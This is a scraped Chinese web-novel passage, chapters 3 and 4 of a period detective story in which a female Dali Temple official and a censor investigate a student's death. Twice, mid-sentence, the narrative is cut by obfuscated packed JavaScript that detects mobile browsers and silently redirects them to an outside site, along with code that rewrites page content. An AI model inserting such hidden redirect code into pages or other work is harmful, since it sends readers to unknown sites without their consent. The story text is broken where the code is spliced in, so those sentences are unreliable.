《秉刀照雪》 3. 相争 “大人当真要和那位岑御史携手办案？” 半道上，照衣忍了又忍，还是没忍住地问。 哪知元行微扶着刀，扯了扯嘴角道：“怎么可能，只是圣旨在前，不得不为罢了。也好让他见识见识大理寺的路子，平日里查案都得殚精竭虑，谁能有空在文书上下功夫？” 照衣肃然起敬：“还是大人聪慧！” 她话题一转，又说：“我看大人对岑御史的态度，对寻常同僚不大一样，可是方才在都察院起了冲突？” “不算冲突，”元行微顿了顿，带着几分迟疑开口，“你还记得我欲入大理寺前，阿娘曾为我相看过一门亲事吗？” 照衣跟在元行微身边多年，近些年随行大理寺后，要记的事比在府上做婢女时多出了好些。 她仔细想了想，忽然握拳敲向掌心：“那个纨绔！大人和他连面都没见过，怎么突然提起他来？” 元行微心说那算什么纨绔，完全就是冤家，但她为官几年，早已将心口不一练得炉火纯青，面不改色道：“我今日才想起来，那位被我直言不嫁的，就是眼下这位岑御史。” 说到这里，她额角又痛了起来，针扎似的落在太阳穴。 母亲同岑夫人当年也只是互有结亲之意，连正式相看都算不上，更何况岑阙当年着实顽劣，谁曾想亲事不成便发奋图强了呢？ 照衣也大惊失色：“那这不就是公报私仇！大人，此人万万留不得啊！” “你还想怎么留不得，”元行微叹道，“圣旨已下，无论如何也得将眼前这桩案子破了，至于后头的事……” 她眼中掠过一丝冷光，看得照衣心头一惊。 “杀害朝廷命官是犯法的啊大人！” 元行微哭笑不得，道：“你想哪去了。都察院共有六位侍御史，难不成大理寺的卷宗往后只由他审？” 照衣似懂非懂地点了点头。 只是元行微心中挂念的，不单是卷宗一事。 眼下四周无人，万籁俱寂，她下意识按紧了刀柄，将全副身心投进眼下的案子里。 离奇横死的女监生、意外掺合进凶案的弟弟、波谲云诡的国子监，以及今日莫名相见，又莫名共查一案的岑阙…… 哪一桩都不是省油的灯，元行微抬眸，国子监校舍近在眼前，里头的学生三三两两，好奇而又畏惧地看向她。 照衣收起方才的嬉笑模样，站在元行微身旁高举官令，手掌大小的铁牌四四方方，上书“大理寺”三个字。 “今日有书学监生横死，大理寺奉皇命查案，还请诸位学子如实相告！” - “展同侪为人傲气，不大于我们为伍，平日里师长们都夸她天资聪颖，又上进，可惜了。” “不曾听闻她提过家里，京中似乎也没有展姓大家吧？但这么一说，她家还当真是祖坟冒青烟，那一手字谁看了都羡慕。” “岁试夺魁好几次了，大家都在猜她入仕后会到哪里做官，往后还能不能再见面呢……” “那具悬尸是展画屏？那她还真是不大走运。不过话又说回来，既然她死了，那今年的员额不是空出一位来？我得好好准备准备，指不定有机会入仕呢。” 元行微和照衣一连问了好几个学生，得到的答案大差不差。 惋惜她遭遇的，钦羡她才华的，甚至是幸灾乐祸，以为自己终于有机会了的。 元行微若有所思，沉默地摩挲了几下刀柄獬豸，问道：“她平日里和哪些人走得近？” “展同侪在书学都不大说话的，都觉着咱们技不如人，”其中一人看了一眼院中，低声道，“分明大家出身都一样，怎么偏她心气这么高……” 元行微不置可否，“可有哪位与她交恶？” 那学子想了想，摇着头说：“应当也是没有的，虽说是瞧不上咱们，可也没人平白无故到她面前显眼。同窗数年，也只有她一向独来独往。” 奇哉怪也，元行微想。 她又问：“从前的常假，展画屏可提过自己要去哪？” 常假向来只有一日，国子监中虽大多是勋贵之后，可也有家不在平都城中的，一日短短，不比十天半个月能外出走访。 闻言，几个学子面面相觑，互相在彼此眼中看见了疑惑。 “展同侪……应当是回家吧？但凡放假，我等都不曾见过她在学堂中。” 问完话，院中人三三两两散去了。 照衣有些摸不着头脑，这一大圈问下来，只得了个展画屏眼高于顶的印象。 她问：“大人可是有头绪了？” 元行微叹了口气，道：“不大对劲，她既身处学宫之中，即便再沉默寡言的性子，也很难做到无人问津。这些个人口风大差不差，今日问不出什么了，回学堂看看，去取她户籍之人回来了没。” 她抬眼看向头顶匾额，上头写着“笃行持正”四个大字。 夜色悄然掠过国子监屋檐，檐下已亮起了灯火，此间辉煌之下，与学堂中冰冷的悬尸大相径庭。 元行微按着刀柄的手紧了紧，她转过身，袍角扬起一道冰冷的弧线。 学堂中，岑阙手上比对着好几名学子的字迹，一无所获。 这样查下去着实太慢了，但那位江仵作明显不大想说话，只是给他看了看展画屏脖颈上的勒痕，随后便远远躲到了一边，眼观鼻鼻观心地写着爰书。 岑阙心中郁结，却也不好当面指责她。 说他是来查案的，官阶却在元行微之下，更何况都察院今日来此，是为查国子监，命案只是个由头罢了。元行微不想让他知道的事，岑阙即便摆出官威，问遍大理寺上下，也得不到想要的答案。 见元行微也从校舍中回来，身后只跟着照衣，岑阙露出个了然的表情，隐约觉得自己扳回了一城。 “怎么，元少卿雷霆手段，居然在这国子监问不到想要的消息？”他促狭道。 元行微看他一眼，冷声道：“多的是受案时毫无头绪的悬案，岑大人未免嘲笑得太早了。” “少卿，去京兆尹府的人回来了。”一名大理寺官员奉了几页纸来，上头字迹潦草，显然是临时誊下来的。 元行微接过来，目光一寸寸看到最后一行上，几张纸便写尽了展画屏的一生。 先前，她只知道展画屏书道拔尖，出身略有些寒微，此刻见了这几页生平，才看出半生艰险。 元行微道： “展画屏父亲从前便在朝中做官，先帝在时，曾在东宫右春坊任职。官阶不高，拜在如今的中书令门下，本该前途无量。” “先帝在时……”岑阙沉吟片刻，心中有了几分猜测，“元顺十四年，太子谋反， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882982|176362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东宫僚属尽遭贬斥。既然朝中没了他的消息，想必这位展监生的父亲，也在其中。” 元行微目光中带着几分赞许，这位岑御史遍阅卷宗，看来也不只是有名无实的花架子。 她说：“中书令当年本想举荐他，可他自己辞了官，如今只在安治坊做些普通营生。” 岑阙叹息道：“也是苦命出身。安治坊还未曾宵禁，元少卿现下是要去他家中，看看有无线索？” 还不待元行微点头，仵作轻手轻脚地走过来，将爰书塞进元行微手中，嗫嚅道：“少卿，方才这位大人硬拽着我问验尸结果……” 岑阙脸色一变：“等一下，那哪叫硬拽！” 元行微目光刀剑一样锐利，钉在岑阙身上，一字一顿道：“岑大人究竟有何疑虑，不好当着本官的面问？” 语气实在不算好，毕竟不久之前，二人还在都察院大吵一架，当时的话还没说开，转头又出了这样的事。 岑阙也是一个头两个大，他扶着额头，声音听上去带着几分无奈。 “下官这也是着急案情，眼下虽说知道了展监生是受人所害，可从验尸到问话，都掌握在大理寺手中。陛下属意你我二人共同办案，总不好叫下官事事两眼一抹黑，元少卿尽在掌握之中吧？” “所以你便先来逼问我大理寺的仵作？”元行微不吃这一套，皱着眉问。 她侧了侧身，问身边人道：“步月，他怎么说的？” 仵作江步月骤然被叫到名字，整个人一激灵：“就、就是岑大人让我细细交代了死者死因，死了多长时间，又是怎么死的。” 岑阙理直气壮：“元少卿听听，此番问话哪里不合规矩？” 未曾想江步月头往下又埋一寸，声音更低了些：“还说……说少卿若是办不好案子，往后大理寺也不必办差了。” 岑阙大惊失色：“且慢啊这位姑娘此言差矣！” 元行微闻言，眸色一沉。 步月平生最不喜与人交谈，年纪轻轻投身仵作一行，也无非是不想同人打交道，对官场上的机锋更是一知半解。 岑阙原话多半并非此意，但也算得上是天赐良机。 既然如此想要政绩与功劳，还欺辱到大理寺头上来了，倘若一并查案，定会束手束脚。 她面不改色，一拱手道：“既然如此，我等接下来查案，也不便与岑大人同行了。” 说罢，元行微毫不犹豫地转身出了门，照衣自然也是随行跟上。 岑阙环顾四周，几位大理寺问事正帮着江步月将尸体移回大理寺，剩下的便是京兆尹府派来的差役，只管看着现场不让人出入，问也是问不出什么的。 他略有几分苦恼，长长叹了口气，那摞厚厚的课业成了累赘，千斤重般压在他手上。 兰钦打量着他的脸色，问：“郎君，接下来怎么查？” “你说元少卿，不会当真烦我吧，”岑阙答非所问道，手指在不同监生的日课纸上摩挲了几下，“这么重要的线索，我还没同她说呢。” 那几张纸厚薄不同，唯有展画屏写的《字林》，质地上摸来最柔软，不像是她这等家世能用得起的上品。 岑阙对着烛火举起那张纸，轻声道： “平都城卖得起花帘纸的书画铺子，左不过那几家，咱们腿脚快些，兴许能赶上闭市。” 4.书画 黄昏时分，元行微和照衣纵马至安治坊。 城南向来是鱼龙混杂之地，当年展应回绝了提拔之意，携家带口来此，又兼遭逢大难，家中四口人只分得一亩地，将将够盖一间一进的茅屋院落。 京兆尹府来报了消息，展家门口的灯笼已蒙了白布，宵禁时刻将近，格外显得小柴扉内愁云一片。 元行微下马后将缰绳交到照衣手中，顺手理了理衣袍。 低头之际，她视线余光扫过雨后泥地。 展家门口往来过的车辙印纷杂，乱得近乎将这破落院门口的地都犁了一遍。 展应昔日同僚尽数受了牵连，如今有重获官身的，也个个行事低调，不见得出行会乘这样宽大的马车。 “不是说展画屏在书学向来独身吗？”照衣用手比了比地上的车辙印，啧啧两声，“我瞧着尽是大户人家，难不成有人同她交好？” 元行微道：“装装样子罢了，仗着家中显贵，耳濡目染了这些曲意逢迎的手段。” 往后官场少了一位性格孤僻的寒门学子，京中权海之下，不知有多少人正在为之倾杯。 一想到那位理直气壮说，她留在大理寺必不会长久的岑御史，元行微心中更是厌倦这些官场手段。 只是她面上不显，抬手叩了叩门。 四下里寂寂，门内掌灯起身的动静格外清晰。 应门的女子声音疲惫：“一更将至，若要凭吊还请明日……二位是？” “在下大理寺少卿元行微，奉旨查案，有话要问。”元行微递过官牌，“展画屏一死疑点重重，劳烦借一步说话。” 女子先是看清了“大理寺”三个字，又见二人并非监生打扮，便立刻将门闩拉开，不卑不亢地将人迎了进去。 进门后，照衣便主动摸查起了院中，元行微则是跟着女子，进了堂屋。 四四方方的堂屋内，正停着一口棺材。 棺中空空，其下烧着个火盆，里头余烬未灭，零零散散飘着些火星。 展画屏冤死国子监，尸身尚且不能回家停灵，展家人无奈之下，为她置了一口空棺。 许是家中清贫，牌位前只供了两豆幼微的烛火，室内昏暗，只映得牌位上的字娟秀小巧，笔画不似展画屏课业中那般大开大合。 供台上摆着先前吊唁的宾客随的帛金，包碎银的布团个顶个的精巧，唯独正中间放着一条松烟墨。 元行微粗略一看，三指宽的墨条浓黑无光，雕着苍松劲竹，饶是她不大通文墨贵贱，也看得出这墨是上品。 勋贵子弟中，当真有展画屏投其所好的好友？ 揣着思忖，元行微捏着纸钱，自牌位前燃着的白烛上引了火，烧了些随进火盆里。 女子见她赤诚，再拜道：“大人有心了。” 火苗跃动间，元行微打量着对方的脸。 女子约莫二十五六的年岁，肖似展画屏的五官冷冰冰，眉梢带着几分憔悴，手上一刻不歇地叠着纸元宝。她指骨有些粗，手也不比常年习字的展画屏修长匀称，是做惯了活的样子。 她应当是独自在堂中守灵，借着摇曳火光，元行微看清了她掌心交错着几道红//痕，挤在掌纹之间。 “展应呢？”元行微问。 “父亲方才服药睡下了，”似乎是察觉到元行微猜疑，女子轻声说：“草民展玉书，画屏……是我妹妹。” 元行微道：“好名字。” 玉书、画屏，何等风雅的名字，如今却一个为世俗所累，一个命丧不知何人之手。 展玉书闻言避而不答，只是自嘲般笑了笑：“大人有什么想问的？我一一说与你听。” 元行微抬手挥开了扑上脸的纸灰，问：“书道算是你家学渊源，怎么只有你妹妹入了国子监？” 展玉书手一顿：“父亲虽蒙大赦，却无意再入宦海。家中生计总要有人操持，画屏自幼天资聪颖，书道上，我不如她。” 她语气平静，听不出半分不满，一门心思叠着手上的纸元宝。 “阿书啊，这么晚还有客人吗？” 堂屋的门外，忽然响起一道瓮声瓮气的声音。 门开了，元行微转头望去，却见一名跛脚妇人，手中端着两个杯子，正深一脚浅一脚地进来。 她将手中的茶水放在了元行微面前，认出这身官服后满眼错愕，随后扑通一声跪了下去！ “听闻大人神断，求大人为小女做主！”妇人哀恸道，字字诛心。 元行微伸手去搀她起来，心底略有几分不忍：“便是为查案来的，夫人腿脚不便，起来说话吧。” 面容沧桑的妇人擦着眼泪，执拗地不肯起身，像是一直未曾接受女儿死讯般，低声喃喃：“画屏、画屏她自幼聪颖，从不做让家里人为难之事，常假回家来也是一团和气，怎么就，怎么就…… ” 说到伤心处，她眼角的泪无论如何也抹不干，整个人颓丧地跌在地上。 元行微扶稳了她的手臂，妇人泪眼朦胧地抬起头。 须臾间目光交错，或许是想到展画屏的年纪与眼前这位官差相差无几，又引得她垂泪。 “我知道大人一定会是个好官，求大人查明，求大人查明啊！”她痛不能站起身，只得倚在元行微身上，死死攥住她的手。 元行微叹了口气，道：“本官会查明真凶的，还请夫人节哀。照衣！” 话音刚落，正在展画屏和展玉书房中走访的照衣立刻应答：“在！” 她进门后几不可察地向元行微摇了摇头，元行微目光轻垂，“将夫人扶回房中吧。” 二人的身影消失在堂屋门外后，元行微才收回了视线，思有所感地捻着刚刚接到的眼泪。 展家二老的居所内窸窸窣窣又说了一阵话，伴随着男人的咳嗽声与女人的哭噎，一时间不得静。 “家中起落不断，这些年好不容易要熬出头了，没想到……”展玉书的声音也带了几分哽咽，她深吸了几口气，聊作平复，“白发人送黑发人，难免悲凉，大人勿怪。” 元行微摇了摇头：“于你家也算是无妄之灾，任谁都不会好受。” 她低头看了一眼妇人端来的茶。 算不上什么好茶，茶粉甚至有些放陈了，打翻的墨水般浓黑一片。 “展画屏平日回家，都会同你们说些什么？”元行微忽然问。 既然是有冤情要诉，还如此大张旗鼓攀扯到天子头上，那即便展画屏做了反贼，在家中说的话想必也会露出马脚。 展玉书沉吟片刻：“画屏性子冷淡，向来做的多说的少，常假要么回家同父亲切磋书道，要么留在监舍中。她今日未归，我们也当她是勤奋上进，哪知……” 提及此处，她心中又是一阵钝痛。 元行微又问：“多年来，她难道不曾有过至交好友？这样沉默寡言的性子，未免也太吃亏了。” 这话像是随口一提，却没料到展玉书呼吸一滞，而后怕元行微怀疑般轻轻抽泣了一下，“我不知。她小时候与我无话不谈，如今也大了，有些自己的心事也正常。” 不正常。 至少这副遮掩的态度不正常。 她回身看着展画屏的牌位，状似无意地拿起托着墨条的那方锦帕，这才察觉到上头以细线暗绣了图样。 于烛光下凑近一看，上面绣着团云的纹样，银线针脚细密，不像是寻常官宦人家所用的。 “别人装样子都是随的帛金，唯独这位送了块好墨，”元行微轻轻摩挲着锦帕，又按了按墨条，“硬如磐石，非三五年不可得。出手阔绰又投其所好，哪家送来的？” 展玉书仔细回想了一番，不大确定地说：“……应当是父亲从前官场上的好友，或许是送给父亲，劝父亲节哀的。” “倘若展应真有如此仗义的故交，你们一家也不至于跻身这安治坊了。”元行微淡然道。 展玉书闻言一想，是这个理。 “当时正忙着设灵堂，我只来得及远远看一眼那人的背影。身量很高，文人打扮，他家下人进来放了东西便走，也不说是谁家随的礼。” 元行微眉头微挑：“案破之前那人若再来，随时来大理寺报我。” 坊间传来金吾卫敲鼓之声，宵禁时分将至。 “之后若是再查到了什么，大理寺会随时传你家人来问话，”元行微扶着鸣不平道，“今日暂且到此为止。” “大人且慢！”展玉书猛地站了起来，双手紧紧交握在一起。 她声音带着几分滞涩，像是接下来要说的话有些难以启齿，“如今画屏孤零零地睡在大理寺，凶手尚且不知所踪，草民……草民有个不情之请，能否让草民去大理寺，见她一面？” 实在算不上什么难言之隐。 元行微看着她双眼中恳切之色，叹了口气，道：“……罢了。带身衣服吧，入夜后长街禁行，你今夜只能宿在大理寺。” 照衣在门口等得有些百无聊赖，本以为今晚找不见什么线索了，没想到下一刻便看见自家少卿带着死者亲姐姐出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885425|176362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，俨然一副要带人回去的模样。 “大人，这、这不合规矩吧？”照衣一边低声问，一边递来缰绳，“此案关乎谋逆，展家人未能洗脱嫌疑，能这么轻易带回去吗？” 元行微：“有什么不合规矩的，带她看一眼罢了。况且她还有没交代清楚的事，倘若见到展画屏露出破绽，也省得再回头提审。” 照衣似懂非懂地点了头，侧身对展玉书道：“展姑娘与我共乘一骑吧，总不能让你就这么走去大理寺。” 展玉书倒是没推脱：“有劳了。” 三人各自翻身上马，安治坊暮鼓声响过最后一声。 坊门一关，隔绝了里间的热闹，马蹄踏破平都夜，声声远。 - 查察命案之时，大理寺向来灯火通明。 元行微远远便看见一道人影立在门口，那人身上穿着国子监监生服，见到她策马而来，立刻挥起手。 “阿姐！” “吁……怎么站在这儿，不是让你回府吗？”元行微问。 元行煦挠了挠头，先是指了下对侧的马车，随后老老实实地说：“想着给阿姐报个平安，眼瞧着阿姐今日也回不了府。案子来得这么急，我又搅了进去，回府肯定要被娘揪耳朵……” 元行微下马，皱着眉颇为不赞同：“阿娘也是担心你，少说孩子话。回府去吧，难不成让阿娘为着咱们担心一夜？” 差点被阿姐揪耳朵的元行煦臊眉耷眼的，闷闷地“哦”了一声。 见阿弟上了马车，元行微才轻叹一声，带着照衣和展玉书进门。 从方才开始，展玉书的目光就在元行微和元行煦中间打转，她忍了又忍，还是没忍住。 “那位是……” 元行微随口道：“家弟。” 话音刚落，她不经意地轻瞥展玉书一眼，又补充说：“正是他报的官。” 展玉书倒是面色平静，瞧不出别的，“原来如此，性子倒是与大人不相仿。” “展姑娘也不是头一个这么说的人。”元行微淡然道。 三人相携穿过廊下，展玉书一路上走得谨小慎微，不大敢抬头乱看。 元行微带着她过了正院，步履匆匆至东厢房。 断刑司左侧专门砌了一间小屋，平日里便人迹罕至，这两日有了命案更是阴气森森。 自上代大理寺卿病故，寺中事务全权交由元行微时起，大理寺便不再有午时才能验尸的规矩。人命关天，手头接了案子，便是子时三刻也得拿出证据。 照元行微的说法，既然世俗觉得女人做官大逆不道，投身仵作行也是大逆不道，那也不差这条罪名了。 “验了多时，有什么新的证据？” 没什么忌讳的元行微推开门，只见分别不多时的仵作江步月正一字一画地补充着爰书，时不时伸手触碰尸身皮肉骨骼，确保自己写得分毫不差。 江步月头也不抬：“她的手指断过，像是被外力生生拧断的。以书道入仕之人，难道不爱惜自己的手？” 说罢，她牵起展画屏右手，给元行微看，抬头时正好看见了对方身边的展玉书。 生人进了她这验尸的地界，反倒比厉鬼还恐怖，将江步月吓得浑身一抖。 元行微不甚在意：“断了多久？” 江步月：“半、半半，半年上下……” 元行微低头仔细看去。 与江步月所说相符，展画屏右手的手指有些变形，并非写字发力不正确所留下的畸变，而是有些错位般的扭曲。 “有什么头绪吗？”元行微向展玉书的方向微微侧身，问。 展玉书摇了摇头，随后沉默着伸出手，一下一下地梳理展画屏凌乱的鬓发。 元行微静待她整理自己情绪时，也在脑海中短暂回想了今日查案的所有疑点。 先是反贼暴论，再是不与俗流的书学魁首离奇身亡，最后是含糊其辞的展玉书…… 以及那条名贵异常的松烟墨。 江步月还在一一细致地排查展画屏身上是否还有旧伤，元行微看着她颈间的血色瘀痕，轻声问：“你这样不与人结仇结怨的人，会有谁想借你尸首做文章呢？” 夜风吹响檐下铃，于室内逡巡一圈。 元行微闻到熏醋的味道，似乎是回答她疑问似的，江步月的手在摸到展画屏腹部时，脸色忽变。她按了按展画屏的腹腔，只觉得本应柔软的皮肉下有些硌手，像是里头揣了石头一般硬。 “……嗯？她好像，怀孕了？”